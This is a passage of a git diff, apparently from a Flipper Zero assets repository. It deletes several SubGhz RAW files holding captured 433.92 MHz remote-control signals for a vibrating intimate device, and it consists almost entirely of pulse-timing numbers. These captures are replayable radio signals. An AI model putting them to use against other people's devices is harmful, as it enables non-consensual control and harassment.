411 -842 427 -852 411 -840 409 -844 419 -850 437 -814 451 -820 421 -840 419 -848 441 -814 1707 -420 381 -446 421 -418 413 -426 443 -382 417 -420 437 -862 421 -810 429 -424 443 -380 447 -418 429 -838 419 -416 409 -418 441 -418 415 -834 441 -416 415 -836 441 -418 413 -834 409 -452 387 -870 413 -420 427 -820 421 -446 413 -836 415 -850 409 -850 417 -842 431 -854 413 -856 399 -860 419 -846 399 -850 411 -856 1677 -424 409 -444 413 -424 427 -418 409 -396 439 -416 419 -848 439 -814 451 -416 409 -396 439 -414 447 -844 413 -418 419 -414 409 -420 441 -848 409 -418 411 -844 447 -382 441 -844 419 -418 409 -848 449 -380 447 -846 413 -416 419 -137384 99 -858 167 -398 265 -100 365 -890 65 -262 165 -98 229 -296 197 -162 231 -132 199 -166 461 -66 431 -396 497 -98 99 -66 231 -166 365 -100 165 -198 297 -566 397 -132 63 -132 229 -760 99 -230 297 -100 263 -100 797 -132 65 -100 595 -364 461 -166 235 -100 527 -262 97 -132 963 -98 -RAW_Data: 465 -132 197 -66 1873 -68 6135 -102 333 -66 695 -100 99 -98 10923 -132 167 -66 2323 -68 463 -64 1261 -66 761 -134 13615 -200 1095 -66 329 -132 1219 -164 1155 -100 4705 -66 4385 -166 1531 -66 631 -100 2257 -98 621 -100 327 -68 99 -66 6143 -132 395 -132 2615 -98 199 -98 433 -100 1863 -66 233 -66 599 -332 625 -66 293 -66 1387 -100 2227 -66 5243 -100 1291 -66 7471 -100 265 -100 329 -198 263 -198 65 -130 195 -66 391 -66 165 -100 433 -100 265 -68 465 -166 195 -164 97 -330 1811 -98 395 -66 917 -198 297 -66 763 -66 1219 -64 921 -132 97 -200 229 -198 195 -132 427 -66 659 -164 295 -98 65 -362 263 -228 165 -130 1091 -98 199 -134 427 -100 623 -164 821 -98 231 -98 455 -166 231 -100 333 -66 595 -264 693 -164 229 -164 493 -166 461 -362 595 -132 497 -100 97 -132 429 -98 263 -232 297 -66 195 -132 163 -132 1161 -66 1095 -132 923 -66 461 -66 433 -200 329 -100 1381 -66 527 -300 165 -100 263 -166 227 -428 261 -66 529 -98 131 -66 197 -100 925 -100 361 -98 361 -264 195 -66 163 -262 427 -166 99 -98 331 -98 299 -66 199 -68 501 -164 133 -398 499 -132 229 -100 395 -100 265 -132 261 -98 327 -164 199 -134 299 -264 499 -100 597 -100 199 -102 65 -100 761 -68 495 -134 329 -466 263 -134 165 -102 297 -132 229 -232 361 -230 361 -164 461 -232 165 -66 297 -200 397 -134 263 -66 397 -166 331 -66 595 -368 131 -64 429 -100 297 -66 661 -166 131 -162 757 -100 131 -100 465 -134 199 -132 565 -132 133 -66 501 -134 797 -200 227 -130 165 -266 495 -66 857 -166 197 -134 231 -132 167 -100 129 -132 65 -98 329 -98 631 -132 263 -132 133 -100 199 -298 65 -132 67 -132 463 -132 465 -198 365 -98 165 -132 99 -134 497 -330 231 -100 163 -134 231 -134 165 -98 299 -66 529 -66 197 -100 565 -134 297 -168 397 -132 265 -100 429 -100 363 -100 361 -98 5415 -66 2975 -98 4465 -66 261 -98 165 -234 65 -400 831 -66 265 -198 133 -166 397 -298 165 -134 197 -166 99 -132 267 -66 597 -66 165 -200 529 -66 663 -100 231 -166 65 -166 201 -100 233 -66 329 -100 231 -134 563 -134 167 -134 365 -198 531 -266 363 -166 397 -296 559 -164 263 -196 327 -232 167 -66 697 -68 199 -132 167 -366 235 -100 231 -166 1163 -132 99 -100 231 -134 297 -332 229 -168 167 -98 297 -132 299 -730 365 -134 99 -332 65 -132 465 -134 131 -132 165 -134 197 -134 597 -132 335 -198 231 -132 629 -134 231 -166 165 -530 -RAW_Data: 397 -166 1591 -66 2687 -132 131 -100 1225 -66 529 -100 1257 -66 99 -130 131 -132 427 -98 297 -232 363 -66 233 -132 5149 -68 6099 -166 559 -330 523 -166 495 -134 3077 -100 1851 -66 425 -68 1783 -64 789 -198 887 -98 2309 -66 1575 -232 2353 -66 1493 -100 925 -98 7877 -66 2621 -68 165 -100 1383 -100 5603 -66 12319 -132 129 -196 489 -100 557 -66 165 -230 757 -162 263 -100 599 -166 199 -100 131 -98 329 -166 99 -66 199 -132 231 -134 729 -594 197 -66 1825 -100 65 -66 365 -134 1161 -134 229 -132 1023 -66 129 -132 1917 -68 1823 -98 363 -660 293 -262 625 -100 499 -166 565 -598 365 -168 461 -100 529 -232 1325 -68 261 -132 163 -66 133 -98 233 -100 231 -130 227 -66 297 -132 525 -66 429 -132 791 -100 197 -98 691 -166 199 -166 65 -130 133 -198 461 -66 659 -396 363 -100 533 -66 265 -200 295 -100 229 -164 263 -166 331 -134 99 -98 567 -66 99 -100 397 -532 165 -134 299 -132 463 -66 463 -166 365 -166 297 -132 361 -66 165 -100 199 -166 829 -68 497 -264 65 -66 463 -134 197 -100 167 -166 263 -134 99 -66 497 -100 331 -232 197 -66 361 -330 397 -66 165 -134 431 -298 165 -100 795 -198 99 -298 99 -132 131 -132 363 -100 165 -560 293 -100 329 -132 361 -132 395 -132 199 -166 861 -164 895 -66 1521 -64 2929 -66 165 -166 499 -66 3479 -66 335 -66 531 -98 333 -68 229 -132 395 -166 629 -66 631 -132 165 -66 917 -562 493 -98 393 -130 197 -98 195 -132 361 -66 229 -196 263 -132 561 -164 233 -232 165 -100 431 -68 99 -66 529 -166 233 -100 131 -66 531 -98 263 -66 359 -164 825 -132 229 -230 1131 -132 399 -168 331 -66 691 -396 499 -66 199 -166 629 -164 199 -364 65 -66 331 -130 263 -66 455 -66 227 -262 329 -132 133 -100 199 -134 463 -232 99 -132 399 -232 261 -66 133 -132 197 -162 687 -98 659 -130 361 -262 297 -98 229 -198 1051 -134 197 -132 333 -134 133 -432 297 -132 99 -134 165 -68 699 -132 265 -66 133 -66 129 -66 265 -134 231 -166 331 -100 497 -100 265 -232 233 -100 891 -134 133 -100 65 -134 133 -100 133 -100 367 -200 665 -132 195 -230 231 -132 131 -328 463 -98 589 -198 767 -230 367 -100 463 -132 333 -296 65 -132 161 -98 359 -66 721 -100 297 -134 99 -434 265 -198 265 -66 265 -132 757 -66 531 -334 397 -132 563 -134 197 -134 199 -100 297 -68 1057 -130 99 -64 427 -130 63 -66 329 -100 895 -100 429 -100 365 -66 231 -134 99 -132 99 -132 65 -200 -RAW_Data: 631 -98 163 -98 1281 -132 2485 -66 399 -98 297 -232 133 -66 99 -134 263 -68 3395 -100 3829 -66 265 -66 263 -66 4039 -66 1031 -100 661 -134 701 -66 333 -68 8633 -164 1119 -68 1583 -100 1019 -66 7339 -66 4057 -100 395 -100 1457 -66 1053 -166 863 -66 99 -66 689 -132 2427 -98 499 -132 761 -266 1131 -98 2949 -66 1867 -102 1751 -100 857 -98 327 -66 2079 -66 2175 -100 233 -98 199 -100 465 -396 231 -164 431 -100 465 -166 1093 -132 167 -100 1261 -66 165 -132 465 -166 563 -98 233 -166 65 -66 197 -66 431 -166 499 -132 659 -166 497 -100 933 -66 631 -134 131 -100 661 -400 397 -234 199 -134 333 -134 663 -98 723 -196 229 -98 325 -66 197 -98 165 -66 263 -200 759 -428 395 -132 427 -164 133 -198 99 -66 197 -132 195 -100 393 -230 329 -130 293 -100 165 -100 367 -164 595 -168 557 -66 825 -132 231 -66 1793 -196 197 -68 331 -100 335 -100 297 -100 231 -232 197 -134 165 -298 397 -134 463 -632 889 -132 265 -262 427 -66 1057 -100 133 -100 231 -98 699 -164 327 -198 491 -66 789 -100 363 -130 495 -134 263 -464 65 -66 299 -66 395 -130 361 -132 917 -66 523 -166 329 -66 565 -166 629 -596 165 -100 297 -66 99 -398 265 -166 237 -100 297 -132 433 -134 299 -132 827 -100 97 -134 295 -166 297 -98 133 -166 99 -298 99 -66 365 -66 961 -68 527 -66 761 -66 261 -232 163 -132 295 -132 261 -66 327 -198 1161 -200 629 -100 5639 -68 897 -98 4569 -166 1763 -66 1929 -166 465 -100 631 -66 397 -100 329 -132 133 -134 333 -200 65 -168 397 -100 431 -98 399 -100 131 -100 529 -134 231 -168 97 -100 131 -132 65 -164 261 -98 231 -64 359 -132 131 -98 199 -66 229 -292 265 -164 589 -100 163 -130 229 -132 261 -130 297 -98 195 -66 261 -166 197 -64 393 -196 263 -196 593 -166 393 -66 361 -132 393 -228 295 -132 263 -64 197 -132 327 -66 393 -66 793 -132 365 -166 199 -200 397 -98 827 -66 397 -66 1453 -98 493 -64 297 -66 531 -166 267 -102 1793 -132 2979 -198 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_3.sub deleted file mode 100644 index 325091967..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -68 2739 -100 6009 5112 4443 -66 1791 -100 21011 -166 26601 -98 10611 -100 14265 -66 22367 -66 20083 -98 1245 -100 7951 -98 3833 -100 3935 -132 529 -66 10931 -66 24537 -100 13035 -66 4285 -66 14107 -100 4755 -98 9689 -68 2717 -66 865 -100 6527 -100 6785 -100 3995 -98 5457 -66 11327 -198 623 -66 1143 -100 1867 -64 11135 -66 18199 -100 2345 -100 8245 -66 7271 -64 15749 -66 3301 -66 19939 -64 27919 -872 395 -856 383 -864 413 -874 417 -854 409 -846 419 -850 415 -870 1697 -432 389 -444 415 -444 393 -426 443 -416 409 -456 389 -870 409 -864 383 -448 411 -426 423 -444 415 -836 411 -448 389 -450 407 -426 411 -876 399 -424 443 -846 437 -388 443 -846 403 -454 415 -846 433 -388 443 -846 437 -418 415 -846 401 -872 421 -856 379 -874 397 -866 413 -842 439 -844 387 -884 389 -876 407 -848 1697 -412 443 -416 409 -434 417 -448 387 -450 403 -424 441 -844 399 -852 415 -450 403 -424 441 -416 411 -852 413 -844 425 -426 407 -416 449 -852 409 -848 415 -838 413 -452 401 -850 417 -450 403 -852 415 -450 399 -852 413 -410 437 -846 421 -854 381 -902 379 -874 383 -884 407 -844 421 -870 383 -868 413 -870 379 -882 1655 -450 411 -442 383 -448 429 -430 407 -418 415 -450 379 -868 417 -848 439 -418 415 -418 441 -430 387 -876 407 -848 413 -418 443 -420 411 -874 379 -878 409 -846 425 -430 409 -878 397 -426 411 -878 395 -424 409 -878 397 -426 411 -878 397 -880 383 -870 415 -870 389 -874 417 -820 439 -848 391 -890 379 -884 397 -870 1701 -420 413 -416 411 -440 417 -448 387 -442 411 -448 411 -862 417 -848 401 -424 445 -414 409 -438 415 -846 439 -858 417 -416 407 -438 417 -842 411 -864 417 -848 441 -418 415 -846 439 -420 415 -844 401 -422 443 -846 403 -422 445 -846 433 -848 419 -858 381 -884 399 -864 417 -846 433 -850 419 -850 389 -876 413 -848 1697 -398 435 -416 447 -388 441 -410 417 -450 419 -412 445 -844 397 -882 383 -452 407 -426 411 -446 413 -848 417 -846 427 -424 441 -416 419 -856 411 -846 419 -836 415 -438 435 -842 425 -430 409 -846 425 -426 409 -842 425 -444 415 -844 435 -844 385 -870 413 -852 425 -838 419 -848 437 -846 423 -824 441 -854 427 -838 1707 -388 447 -416 417 -434 427 -410 417 -450 391 -452 403 -850 415 -852 423 -442 413 -420 429 -400 439 -844 423 -850 413 -440 427 -418 415 -848 441 -814 415 -854 421 -444 413 -856 425 -408 415 -850 437 -432 417 -848 409 -418 411 -118904 65 -1624 231 -468 131 -364 395 -66 131 -200 131 -266 2719 -RAW_Data: -66 929 -166 1057 -66 3573 -66 297 -66 2967 -98 8549 -66 15241 -100 2789 -100 15453 -66 18225 -68 15893 -164 5919 -66 1651 -68 699 -68 10243 -66 3927 -68 465 -64 18445 -66 11247 -132 885 -66 26457 -66 7461 -66 1417 -98 5361 -100 18025 -64 9647 -98 853 -100 10323 -130 9831 -100 5017 -68 1763 -98 12107 -66 3507 -100 1361 -96 3015 -66 8979 -66 7329 -66 8387 -66 2633 -134 7965 -66 26443 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_4.sub deleted file mode 100644 index 6624872f8..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -100 12251 11385 9219 -98 2235 -132 8777 -66 653 -66 129 -66 5363 -98 919 -68 197 -200 2921 -66 1123 -98 1109 -100 2035 -98 781 -100 3649 -100 731 -100 4389 -98 65 -68 2891 -66 831 -66 497 -68 533 -98 697 -66 3187 -68 3047 -64 295 -66 9705 -66 3023 -100 1331 -100 2749 -68 17721 -64 6263 -100 8061 -68 13121 -98 591 -66 593 -66 1521 -100 6753 -68 365 -66 2425 -66 1427 -66 1359 -66 461 -66 10733 -166 2307 -100 501 -66 963 -66 1033 -66 5347 -268 7143 -66 1335 -66 333 -164 7741 -66 7935 -66 27721 -66 1295 -200 597 -132 133 -132 3551 -134 591 -132 15325 -100 3439 -98 623 -98 2899 -134 3623 -132 3727 -132 3095 -98 9223 -66 3389 -134 3411 -132 293 -100 2385 -66 12529 -98 565 -66 4119 -98 4353 -130 2485 -100 499 -100 893 -132 2779 -64 3913 -100 2793 -154 151 -870 419 -852 99 -216 91 -838 443 -854 103 -1166 411 -846 163 -1130 417 -856 129 -246 1289 -418 421 -520 353 -398 433 -416 445 -482 347 -442 415 -838 345 -952 409 -430 385 -612 245 -428 419 -868 319 -932 427 -408 415 -688 167 -866 397 -864 67 -242 107 -838 425 -430 409 -844 423 -412 445 -844 401 -424 445 -842 235 -628 417 -844 395 -848 417 -852 425 -870 413 -842 413 -874 395 -850 415 -854 425 -840 419 -850 1693 -442 63 -216 91 -438 411 -448 397 -436 133 -736 383 -446 421 -854 415 -872 389 -446 133 -690 419 -854 423 -442 415 -420 393 -436 435 -848 421 -398 437 -448 245 -62 93 -870 419 -428 415 -838 415 -418 415 -852 441 -418 415 -846 405 -428 445 -844 395 -872 421 -854 413 -856 397 -868 415 -842 433 -840 425 -850 415 -834 441 -846 1717 -418 275 -74 71 -420 423 -406 415 -450 325 -506 443 -388 445 -844 401 -850 415 -442 397 -450 417 -846 417 -522 311 -430 407 -414 445 -850 413 -416 417 -418 435 -860 417 -418 439 -822 449 -410 411 -854 417 -414 445 -848 411 -448 413 -848 411 -844 427 -854 413 -834 411 -850 435 -864 419 -846 431 -846 419 -858 381 -884 1679 -420 411 -444 413 -410 459 -386 445 -416 409 -440 417 -848 417 -862 413 -418 415 -418 437 -830 419 -446 419 -428 409 -446 413 -854 399 -432 415 -418 417 -854 425 -412 445 -856 395 -440 415 -850 417 -434 427 -838 419 -418 441 -826 451 -846 401 -848 415 -854 421 -840 453 -818 443 -846 417 -854 407 -834 411 -852 1711 -412 409 -456 387 -446 415 -410 427 -424 447 -412 411 -848 449 -842 433 -388 445 -414 413 -850 415 -418 451 -384 441 -442 381 -872 409 -448 413 -418 427 -856 411 -420 431 -RAW_Data: -852 411 -408 443 -844 421 -410 445 -842 437 -388 447 -844 441 -814 413 -856 421 -842 419 -850 443 -812 449 -856 381 -886 397 -864 419 -848 1689 -418 431 -394 439 -416 449 -388 441 -444 379 -448 421 -854 411 -834 411 -446 415 -420 433 -822 441 -408 439 -416 413 -414 439 -842 421 -418 453 -400 425 -836 421 -418 439 -842 421 -418 439 -828 453 -412 411 -848 451 -414 407 -132112 131 -2182 231 -164 985 -230 259 -66 21279 -68 1839 -66 4095 -200 4925 -66 627 -68 1459 -68 1059 -132 3585 -130 3823 -166 763 -100 6443 -66 263 -66 5749 -134 6595 -66 5273 -66 765 -68 1529 -98 361 -98 8485 -66 1029 -166 295 -130 361 -134 4135 -100 4101 -100 2123 -66 231 -68 4105 -66 2949 -132 1355 -98 3107 -166 2509 -98 2641 -166 727 -166 2143 -132 2797 -98 3471 -66 599 -66 2131 -100 2629 -66 4271 -100 657 -64 1847 -68 763 -100 3447 -100 4247 -66 8535 -130 4913 -100 1557 -66 2287 -132 297 -68 2183 -66 3653 -66 2351 -66 4333 -66 7337 -100 1263 -100 2205 -98 359 -166 5449 -66 16349 -66 931 -100 1855 -66 1719 -66 5593 -166 167 -66 4629 -100 2183 -66 1395 -134 2519 -98 3253 -100 535 -66 561 -68 1525 -100 7821 -66 5183 -100 4461 -66 2347 -98 4211 -66 4813 -166 889 -66 1793 -66 263 -66 957 -66 3593 -66 1021 -100 535 -68 3361 -98 2801 -132 585 -66 4539 -98 4273 -66 1527 -132 297 -66 1019 -66 2607 -68 2545 -66 16551 -134 431 -68 97 -66 1593 -100 8119 -68 99 -66 729 -98 2217 -166 1919 -100 795 -66 4761 -66 2093 -100 9423 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_1.sub deleted file mode 100644 index 7f01b6551..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 2599 -98 7681 994 6625 -66 2523 -134 7961 -130 523 -64 1937 -66 4611 -98 2759 -98 4481 -66 885 -66 6459 -68 1597 -134 1219 -132 791 -166 3715 -98 4481 -98 3853 -100 231 -68 1389 -100 2845 -102 527 -100 2959 -98 233 -66 2389 -134 1893 -66 929 -66 2877 -100 2421 -166 1825 -66 291 -66 4899 -234 20289 -100 3391 -134 3657 -100 329 -134 3577 -64 1775 -98 2199 -132 791 -66 1877 -132 529 -98 5225 -100 1131 -66 2557 -100 2045 -132 985 -98 4213 -100 3371 -66 931 -102 493 -66 431 -98 233 -66 1565 -100 1293 -66 4571 -68 657 -66 2633 -66 1515 -66 4933 -98 1361 -134 133 -68 899 -68 13403 -66 1175 -98 2123 -66 6155 -100 1995 -66 7403 -198 3321 -68 2195 -66 6409 -66 929 -100 3391 -66 4481 -68 1281 -164 623 -130 4303 -66 163 -132 327 -66 2147 -100 6245 -66 1381 -66 2207 -66 3599 -66 335 -66 763 -100 2121 -132 233 -98 623 -66 553 -64 627 -66 2757 -134 593 -166 3567 -66 6447 -66 2207 -898 101 -136 101 -908 377 -916 97 -134 131 -886 383 -882 133 -104 143 -890 377 -880 263 -1010 1505 -590 423 -414 441 -418 347 -486 413 -444 419 -450 365 -902 383 -852 425 -444 415 -442 407 -418 415 -450 379 -868 417 -420 137 -408 427 -442 383 -880 415 -866 383 -448 175 -70 171 -856 411 -416 417 -848 441 -418 415 -844 437 -418 415 -846 303 -984 385 -852 359 -946 401 -858 385 -880 401 -852 415 -856 425 -838 419 -848 1695 -416 433 -396 435 -416 445 -418 401 -436 417 -450 387 -856 423 -874 411 -844 415 -446 411 -420 273 -428 423 -836 453 -386 443 -412 413 -452 423 -856 379 -886 395 -468 381 -848 439 -430 417 -846 409 -418 409 -878 417 -428 409 -878 141 -830 437 -846 131 -858 421 -834 225 -870 415 -850 255 -866 425 -838 281 -988 1547 -580 437 -418 415 -418 377 -480 415 -416 433 -412 343 -954 421 -852 413 -838 423 -446 413 -640 201 -410 431 -844 427 -424 443 -416 407 -440 417 -840 409 -868 419 -418 437 -858 417 -416 281 -994 401 -426 409 -876 397 -422 443 -1044 201 -860 413 -1132 129 -864 409 -1122 177 -822 445 -844 99 -252 71 -844 397 -862 139 -1126 1381 -722 419 -452 405 -424 271 -586 417 -412 437 -396 307 -992 413 -842 313 -956 413 -420 435 -552 287 -432 411 -842 421 -418 435 -430 417 -418 417 -856 425 -840 419 -418 453 -804 443 -416 137 -1128 427 -430 409 -844 429 -426 443 -878 383 -822 413 -940 349 -840 447 -944 317 -828 443 -842 425 -854 411 -888 355 -866 1707 -398 437 -416 447 -416 69 -68 275 -414 423 -446 411 -420 -RAW_Data: 135 -806 421 -840 177 -826 437 -388 447 -416 441 -410 417 -840 251 -434 421 -418 411 -424 309 -858 423 -852 257 -418 439 -840 429 -428 411 -842 427 -410 413 -876 439 -388 447 -842 433 -846 419 -856 411 -822 435 -864 421 -844 433 -846 419 -856 411 -822 435 -866 1143 -426 447 -412 419 -462 387 -406 413 -452 427 -488 355 -826 443 -908 355 -842 421 -418 439 -426 417 -418 415 -866 337 -388 415 -446 417 -394 197 -822 421 -818 455 -432 415 -848 411 -420 409 -874 407 -436 273 -850 421 -414 413 -127570 197 -264 261 -130 197 -130 165 -230 65 -392 759 -100 3129 -66 3887 -66 7437 -100 593 -100 7051 -66 3267 -66 233 -98 835 -98 295 -130 755 -100 3499 -130 4149 -98 1443 -66 719 -98 2561 -66 295 -96 1539 -98 65 -100 793 -66 3569 -132 6435 -166 5743 -166 3181 -66 4837 -66 8243 -66 4445 -68 597 -134 735 -66 3017 -66 13727 -66 3903 -100 165 -66 2905 -66 425 -66 129 -100 459 -100 265 -66 5477 -66 3839 -396 99 -66 651 -66 1999 -98 3535 -66 1123 -100 1661 -66 2629 -98 3851 -66 1961 -66 827 -100 16749 -66 563 -66 197 -98 1027 -100 5509 -100 8367 -100 963 -100 2229 -100 2071 -64 7253 -100 8335 -98 1215 -64 1125 -98 2459 -66 331 -100 1547 -66 1455 -68 131 -66 299 -132 729 -100 463 -100 433 -100 19401 -100 1033 -66 5383 -66 529 -66 1659 -66 1643 -66 2463 -200 2819 -200 531 -100 561 -66 885 -164 753 -100 3009 -64 427 -98 1479 -66 1249 -66 1741 -66 8761 -68 3551 -166 329 -100 1291 -100 361 -98 723 -68 2629 -66 3915 -68 1925 -66 4405 -66 1573 -64 3923 -100 12035 -100 529 -164 9935 -100 3043 -100 1847 -98 391 -98 687 -66 2621 -66 163 -268 1029 -132 2025 -98 14265 -66 333 -100 1129 -100 8929 -132 1425 -132 3113 -64 721 -66 889 -132 363 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_2.sub deleted file mode 100644 index 7fe5dc66d..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 1775 -64 429 362 12405 -100 967 -100 793 -66 1955 -68 431 -66 29499 -66 763 -100 233 -102 1051 -66 293 -98 7765 -100 231 -166 14045 -66 3911 -100 8379 -68 5277 -66 1559 -66 6657 -66 959 -66 3187 -132 1939 -166 4945 -66 5697 -98 9391 -66 129 -66 2671 -98 199 -66 965 -100 755 -64 1321 -132 1249 -64 3631 -132 299 -66 1753 -66 2649 -66 7233 -66 4699 -68 5057 -98 131 -66 561 -132 3431 -66 1639 -232 1595 -134 5439 -66 2931 -98 1397 -100 2575 -66 10653 -66 9127 -66 1931 -68 2425 -132 231 -66 499 -100 15087 -100 3877 -134 4253 -66 1911 -66 5435 -100 2333 -98 7247 -66 665 -882 379 -882 411 -846 425 -852 383 -902 379 -872 409 -852 417 -842 1715 -454 405 -416 409 -414 447 -452 383 -420 413 -422 427 -842 417 -850 439 -848 385 -452 411 -426 377 -460 445 -848 413 -648 205 -432 415 -406 421 -838 447 -846 413 -418 65 -242 107 -842 427 -424 441 -844 397 -424 443 -844 401 -424 445 -842 165 -1076 415 -870 157 -1096 407 -868 281 -990 421 -818 329 -966 395 -866 353 -920 1659 -450 415 -428 411 -416 451 -418 409 -410 415 -418 419 -852 423 -876 419 -818 443 -418 415 -418 311 -962 419 -434 425 -606 249 -426 415 -854 347 -490 417 -848 407 -636 245 -822 419 -418 439 -820 453 -382 447 -848 447 -382 417 -848 201 -1076 421 -836 193 -1088 411 -870 237 -1022 409 -844 281 -982 465 -812 289 -978 1629 -488 447 -408 445 -384 435 -428 443 -416 419 -410 415 -874 433 -846 415 -836 411 -418 437 -426 129 -242 421 -398 437 -416 451 -386 437 -864 175 -668 413 -844 415 -446 419 -818 441 -418 245 -1014 423 -426 445 -808 465 -388 445 -976 265 -858 423 -1050 237 -844 425 -1104 177 -836 437 -1076 193 -826 449 -854 67 -238 101 -822 1371 -248 71 -444 405 -426 411 -416 173 -710 399 -430 415 -418 205 -1092 409 -840 247 -1024 429 -426 411 -544 317 -860 419 -414 283 -566 417 -432 397 -1062 235 -392 435 -866 387 -450 441 -824 451 -648 179 -842 437 -388 447 -846 437 -390 447 -846 437 -814 451 -820 419 -878 407 -882 419 -814 427 -986 319 -826 413 -974 287 -864 1237 -238 215 -428 393 -454 407 -690 173 -392 451 -386 435 -738 137 -818 455 -814 167 -1116 413 -420 437 -524 313 -854 423 -398 437 -414 447 -416 407 -878 69 -210 145 -412 419 -826 439 -418 417 -848 439 -416 63 -242 145 -802 431 -426 409 -844 429 -424 445 -842 441 -812 415 -890 385 -840 421 -914 389 -814 417 -864 409 -852 453 -832 413 -836 1253 -420 411 -438 433 -508 325 -448 415 -RAW_Data: -420 413 -506 345 -822 443 -824 449 -838 415 -440 413 -420 421 -842 449 -382 457 -430 393 -436 415 -850 451 -404 427 -838 425 -400 453 -818 443 -416 419 -848 441 -388 383 -898 431 -424 445 -124518 263 -598 65 -896 265 -1864 633 -100 131 -566 365 -166 6153 -66 917 -66 1417 -100 2141 -66 1325 -100 14321 -66 9729 -68 3383 -134 3043 -98 6145 -100 4311 -100 2781 -66 4543 -68 3161 -66 2631 -66 5097 -198 1949 -66 5441 -166 1805 -198 1151 -98 825 -66 1917 -100 2281 -66 2663 -66 2455 -100 2087 -66 4853 -132 2755 -64 1835 -100 4009 -66 2167 -66 9249 -100 99 -68 2653 -134 3557 -66 6723 -64 1629 -100 1861 -68 131 -68 2293 -66 2475 -132 163 -66 4749 -134 463 -66 3489 -132 267 -66 233 -100 2127 -166 1281 -100 4717 -100 6003 -66 6037 -100 691 -132 6363 -164 2651 -68 6291 -232 1691 -66 6835 -68 1689 -100 725 -68 5033 -66 4211 -130 1611 -132 3183 -66 2681 -98 231 -66 1277 -98 1223 -66 1263 -132 463 -132 65 -98 165 -64 5603 -66 1571 -132 2097 -66 10043 -68 1697 -100 1223 -164 7843 -66 361 -66 6207 -68 529 -130 263 -66 3289 -66 461 -66 4309 -66 4669 -64 165 -100 5393 -66 491 -132 917 -164 1349 -66 1841 -166 661 -100 463 -66 1057 -66 8727 -100 11875 -100 5357 -102 3599 -98 823 -132 327 -98 2001 -96 1317 -132 1745 -132 597 -132 1955 -134 299 -66 1387 -132 3941 -66 3087 -66 3709 -66 555 -68 3897 -66 2997 -66 799 -134 3453 -66 7063 -66 7339 -66 3359 -134 3387 -66 2975 -100 2523 -134 3709 -100 4635 -66 733 -164 8249 -100 763 -66 335 -66 2375 -100 793 -66 1427 -68 2383 -98 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_3.sub deleted file mode 100644 index 3b41bc570..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 6067 6335 -132 1263 -100 3361 -66 3187 -100 6155 -66 12897 -66 3715 -100 1913 -64 11851 -66 265 -100 1845 -66 6125 -66 35499 -100 2147 -66 793 -98 1979 -98 1997 -66 3481 -66 30807 -134 2917 -100 14031 -66 3717 -66 669 -66 10183 -68 597 -66 16673 -66 2809 -66 2891 -100 11003 -66 20291 -134 2015 -66 4365 -68 2875 -98 13995 -68 1363 -68 13561 -100 10187 -98 15421 -134 5027 -66 33963 -66 2879 -98 3549 -98 5263 -64 1813 -66 24327 -66 6613 -100 1395 -66 1373 -64 29637 -100 789 -98 1477 -98 953 -66 2937 -66 15829 -66 11051 -100 13423 -66 12509 -66 2307 -100 1049 -66 46507 -100 20565 -100 3687 -66 12821 -66 12781 -132 167 -66 2257 -66 1127 -19380 97 -1184 361 -164 131 -228 263 -66 363 -66 199 -134 629 -68 2991 -68 12071 -66 15549 -98 1051 -66 31177 -66 2793 -68 29767 -98 13703 -66 6645 -100 1331 -66 46519 -842 437 -846 387 -852 423 -838 419 -846 439 -844 387 -854 425 -840 1681 -424 445 -412 411 -420 423 -442 383 -450 393 -450 411 -854 413 -852 397 -862 419 -420 405 -456 381 -876 411 -420 411 -446 415 -410 421 -850 413 -452 401 -882 383 -442 409 -876 399 -426 411 -846 427 -424 409 -844 429 -428 409 -842 425 -852 381 -866 411 -850 433 -856 417 -846 399 -884 383 -854 425 -840 419 -846 1687 -412 423 -426 409 -420 415 -452 409 -410 417 -448 425 -816 423 -840 417 -850 405 -454 413 -418 407 -852 413 -844 425 -442 415 -416 409 -860 417 -844 433 -846 385 -450 407 -852 413 -410 437 -844 391 -450 411 -852 415 -450 403 -854 381 -884 397 -862 417 -846 401 -852 415 -864 381 -876 415 